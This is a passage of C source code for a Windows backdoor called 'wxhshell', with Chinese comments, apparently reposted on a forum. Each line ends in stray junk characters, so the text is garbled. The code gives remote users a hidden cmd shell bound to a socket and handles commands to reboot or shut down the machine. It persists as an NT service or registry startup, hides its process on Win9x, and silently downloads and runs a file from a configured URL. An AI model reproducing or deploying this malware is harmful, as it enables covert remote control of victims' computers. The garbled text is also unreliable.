    switch(cmd[0]) { o [V8h @K)  
  >xS({1A}  
  // 帮助 DoQ^caa@  
  case '?': { Z8bg5%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i@?|vu  
    break; :E6*m\X!3  
  } mJ<`/p?:  
  // 安装 7\98E&  
  case 'i': { )SJM:E  
    if(Install()) [>a3` 0M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1] =X  
    else %\48hSe  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J~WT;s  
    break; zNt//,={  
    } $ eI cCLF  
  // 卸载 'pIrwA^6N  
  case 'r': { NO[A00m|OL  
    if(Uninstall()) `dV2\^*A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;y\/7E  
    else z;oia!9z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vi^YtA  
    break; oc] C+l  
    } 5?`4qSUz  
  // 显示 wxhshell 所在路径 V{oFig 6  
  case 'p': { +`Q]p" G  
    char svExeFile[MAX_PATH]; )r{Wj*u  
    strcpy(svExeFile,"\n\r"); >v@3]a i  
      strcat(svExeFile,ExeFile); "*<vE7  
        send(wsh,svExeFile,strlen(svExeFile),0); p1d%&e  
    break; f?/OV*  
    } Yh1nXkA!V  
  // 重启 2! ,ndLA  
  case 'b': { MF'Z?M  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); aQL0Sj:,  
    if(Boot(REBOOT)) Yz0fOX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AA^K /y  
    else { :tO4LEb  
    closesocket(wsh); _J,rql@nG<  
    ExitThread(0); tKUW  
    } h?/E/>  
    break; "1Hn?4nz5  
    } dpq(=s`s  
  // 关机 r-$xLe7a  
  case 'd': { ${z#{c1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %$zak@3%'  
    if(Boot(SHUTDOWN)) Q3hf =&$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); azIhp{rH w  
    else { Ln&~t(7  
    closesocket(wsh); k%~;mu"4}  
    ExitThread(0); } G{"Mp4  
    } # A4WFZ  
    break; ~;$QSO\2h  
    } X);'[/]E*  
  // 获取shell W"@'}y  
  case 's': {  q%d'pF  
    CmdShell(wsh); '6NrL;  
    closesocket(wsh);  tM\BO0  
    ExitThread(0); EgPL+qL  
    break; +$L}B-F  
  }  D~"a"  
  // 退出 +|g*<0T5<  
  case 'x': { YJ ,"@n_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0/] h"5H3  
    CloseIt(wsh); * FEJ5x  
    break; /"`hz6rIv  
    } >ryA:TO{  
  // 离开 6e\?%,H  
  case 'q': { #]1 jvB  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w+ ')wyB  
    closesocket(wsh); Kh=\YN\E<  
    WSACleanup(); kw z6SObQ  
    exit(1); 8*b{8%<K  
    break;  d<xi/  
        } ML|?H1m>  
  } khR[8j..  
  } RrBG=V  
s% R,]q  
  // 提示信息 Ms5qQ<0v_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S)ipkuj X  
} w6> P[oW  
  } 6FUcg40Y  
y,rdyt  
  return; rd%uc~/  
} a,4GE'  
|PYyhY  
// shell模块句柄 .?APDr"QQH  
int CmdShell(SOCKET sock) (FGy"o%TP'  
{ ?m 5"|f\  
STARTUPINFO si; 'W9[Vm  
ZeroMemory(&si,sizeof(si)); Sx~mc_ekY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6v scu2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vCt][WX(  
PROCESS_INFORMATION ProcessInfo; uAnL`  
char cmdline[]="cmd"; U:7w8$_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &?p( UY7'"  
  return 0; ]Q.S Is  
} jdVj FCl^#  
/oEDA^qx  
// 自身启动模式 h5l_/v d  
int StartFromService(void) &.2% p  
{ ]QY-L O(  
typedef struct WN|_IJR~  
{ hJ%$Te  
  DWORD ExitStatus; +|GHbwvp  
  DWORD PebBaseAddress; CaED(0  
  DWORD AffinityMask; 4@F8-V3q4  
  DWORD BasePriority; !a V:T&6  
  ULONG UniqueProcessId; YVF@v-v-,  
  ULONG InheritedFromUniqueProcessId; Z?[ R;V1j  
}   PROCESS_BASIC_INFORMATION; O+'k4  
rVOF  
PROCNTQSIP NtQueryInformationProcess; 9_svtO]P  
[-W~o.`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kda*rl~c  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Zd-QZ<c";t  
O['[_1n_u]  
  HANDLE             hProcess; \jZmu  
  PROCESS_BASIC_INFORMATION pbi; >#S}J LZ  
beYGP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Oi C|~8  
  if(NULL == hInst ) return 0; X}={:T+6s  
<ldArZ4C4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); aRn""3[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 75P!`9bE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  0RCp  
1:DA{ejS  
  if (!NtQueryInformationProcess) return 0; v?nGAn  
{=!BzNMj  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d{WOO)j  
  if(!hProcess) return 0; l%i*.b(  
x>K,{{B)X  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %qrUP\rn  
Mz) r'  
  CloseHandle(hProcess); 3WGOftLzt  
j{t r''yN  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }HbUB$5  
if(hProcess==NULL) return 0; %[L/JJbP&Z  
\Yv4 4*I`  
HMODULE hMod; #MMp0  
char procName[255]; @YS,)U)4S  
unsigned long cbNeeded; .[:WMCc\  
o {q8An)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (YPG4:[  
vON7~KA  
  CloseHandle(hProcess); b?M. 0{"H  
fgo3Gy*#  
if(strstr(procName,"services")) return 1; // 以服务启动 ]P^ 3uXi  
CX {M@x3m  
  return 0; // 注册表启动 H\<PGC"_Y  
} 5ry[Lgg  
-=u9>S)!c  
// 主模块 mxc^IRj  
int StartWxhshell(LPSTR lpCmdLine) I.2>d_^<  
{ ~( rZ)  
  SOCKET wsl; #aP;a-Q|k  
BOOL val=TRUE; G" (ck4  
  int port=0; _|{pO7x]oG  
  struct sockaddr_in door; ^zG!Z:E  
4;IZ}9|G  
  if(wscfg.ws_autoins) Install(); Cq\{\!6[  
-HFyNk]>  
port=atoi(lpCmdLine); h9. Yux  
ej(w{vl  
if(port<=0) port=wscfg.ws_port; P^BSl7cT  
sY}0PB  
  WSADATA data; u<+RA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %we! J%'Y]  
EY:EpVin  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   uy=<n5`oNG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <z wI@i  
  door.sin_family = AF_INET; 'HWPuWW  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ojp|/yd^YL  
  door.sin_port = htons(port); p,)pz_M  
Q#4OgNt  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { * ^\u%Ir"  
closesocket(wsl); 5XNFu C9E  
return 1; o-AAx#@  
} {~=gKZ:-@  
dpcv'cRfw  
  if(listen(wsl,2) == INVALID_SOCKET) { vrsOA@ee3H  
closesocket(wsl); !8J%%Ux&M  
return 1; UzkX;UA  
} Hg[AulNna  
  Wxhshell(wsl); ).r04)/  
  WSACleanup(); 0t00X/  
I9cZZ`vs  
return 0; tlmfDQD  
:\#/T,K"  
} 1FRpcE  
m\|ie8  
// 以NT服务方式启动 f87lm*wZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pW2-RHGJY  
{ ARid   
DWORD   status = 0; Q"`J-#L  
  DWORD   specificError = 0xfffffff; !~f!O"n)3r  
M7AUY#)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; gG46hO-M%x  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }{)>aJ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &qeM YYY  
  serviceStatus.dwWin32ExitCode     = 0; H?'t>JX  
  serviceStatus.dwServiceSpecificExitCode = 0; 2-u9%  
  serviceStatus.dwCheckPoint       = 0; (fnp\j3w  
  serviceStatus.dwWaitHint       = 0; 7cT ~u  
p GSS   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +C9 l7 q  
  if (hServiceStatusHandle==0) return; RD'i(szi?  
%3 $EV}dp  
status = GetLastError(); UxVxnJ_  
  if (status!=NO_ERROR) 5 ]@"f/  
{ VH$hQPP5d  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; LD)P. f  
    serviceStatus.dwCheckPoint       = 0; p3{ 3[fDx  
    serviceStatus.dwWaitHint       = 0; BjCg!6`XF  
    serviceStatus.dwWin32ExitCode     = status; wO ?A/s  
    serviceStatus.dwServiceSpecificExitCode = specificError; xy1R_*.F^T  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $ #F7C[2N  
    return; si3@R?WR6*  
  } yixAG^<  
qCgoB 0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K)r|oW=6Y  
  serviceStatus.dwCheckPoint       = 0; iwT PJGK|  
  serviceStatus.dwWaitHint       = 0; {Zy)p%j8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :B]yreg  
} ~5b^Gvb?  
5\eM3w'd  
// 处理NT服务事件,比如:启动、停止 ,[<+7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) YA%0{Tdxz  
{ 8P3"$2q  
switch(fdwControl) :f5"w+  
{ #Vi:-zyY  
case SERVICE_CONTROL_STOP: ?_b zg'  
  serviceStatus.dwWin32ExitCode = 0; X[KHI1@w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %6@->c{  
  serviceStatus.dwCheckPoint   = 0; rW B/#m  
  serviceStatus.dwWaitHint     = 0; /32x|Ow# 1  
  { *3]_Huw<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VgyY7INx9  
  } :927y  
  return; Pmj%QhOYE  
case SERVICE_CONTROL_PAUSE: Y('?Z]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; D>efr8Qd@  
  break; C4^o= 6{  
case SERVICE_CONTROL_CONTINUE: E|v9khN(].  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ==)q{e5  
  break; %d"d<pvx  
case SERVICE_CONTROL_INTERROGATE: 1'"TO5  
  break; )7s(]~z  
}; @Xg5 E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5VR=D\j  
} G=l-S\0@  
8*Ke;X~N  
// 标准应用程序主函数 ].r~?9'/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pa8R;A70Dl  
{ e'0BP,\f_}  
!b4v}70,  
// 获取操作系统版本 !$L~/<&0g  
OsIsNt=GetOsVer(); {~cM 6W]f  
GetModuleFileName(NULL,ExeFile,MAX_PATH); JsD|igqF-  
"1HKD  
  // 从命令行安装 {k8R6l1  
  if(strpbrk(lpCmdLine,"iI")) Install(); )]M,OMYq-  
<<l1 zEf@  
  // 下载执行文件 o4F(X0  
if(wscfg.ws_downexe) { 7X`]}z4g  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `b?o%5V2x  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ssg1p#0J  
} PB(I3R9  
g?E8zf `  
if(!OsIsNt) { PQJw"[N/YM  
// 如果时win9x,隐藏进程并且设置为注册表启动 n5>OZ3 E@  
HideProc(); )/cf%  
StartWxhshell(lpCmdLine); DrA\-G_7  
} ;fe~PPT  
else []b= xRJM  
  if(StartFromService()) 9zE/SDu7\  
  // 以服务方式启动 \zLKSJ]  
  StartServiceCtrlDispatcher(DispatchTable); Aa4 DJ  
else Xb2.t^ ]f  
  // 普通方式启动 >0E3Em<(}l  
  StartWxhshell(lpCmdLine); R@~=z5X( Q  
H;{IOBo  
return 0; ^?5HagA  
}
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只看该作者 1 发表于: 2006-10-10
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